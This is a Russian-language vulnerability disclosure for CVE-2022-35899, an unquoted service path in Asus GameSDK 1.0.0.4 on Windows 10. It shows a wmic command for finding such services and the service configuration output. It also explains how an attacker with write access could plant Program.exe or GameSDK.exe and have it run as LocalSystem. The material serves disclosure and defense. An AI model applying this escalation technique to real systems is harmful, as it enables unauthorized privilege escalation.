CVE-2022-35899

Незакавыченный путь службы Asus GameSdk

Название эксплойта: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Незакавыченный путь службы (повышение привилегий)

Дата: 14.07.2022

Автор эксплойта: Angelo Pio Amirante

Версия: 1.0.0.4

Протестировано на: Windows 10

Исправленная версия: 1.0.5.0

Шаг для обнаружения незакавыченного пути службы:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Информация о службе:

C:\>sc qc "GameSDK Service"

[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : GameSDK Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem

Эксплойт

Если атакующий уже скомпрометировал систему, а текущий пользователь имеет привилегии на запись в папку "C:\Program Files (x86)\ASUS" или в "C:", он может разместить там свои файлы "Program.exe" или "GameSDK.exe" соответственно, и при запуске службы будет запущен вредоносный файл вместо оригинального "GameSDK.exe".

Воздействие

Атакующий может повысить свои привилегии в системе.

POC Видео

https://youtu.be/u_8JMIgn-5g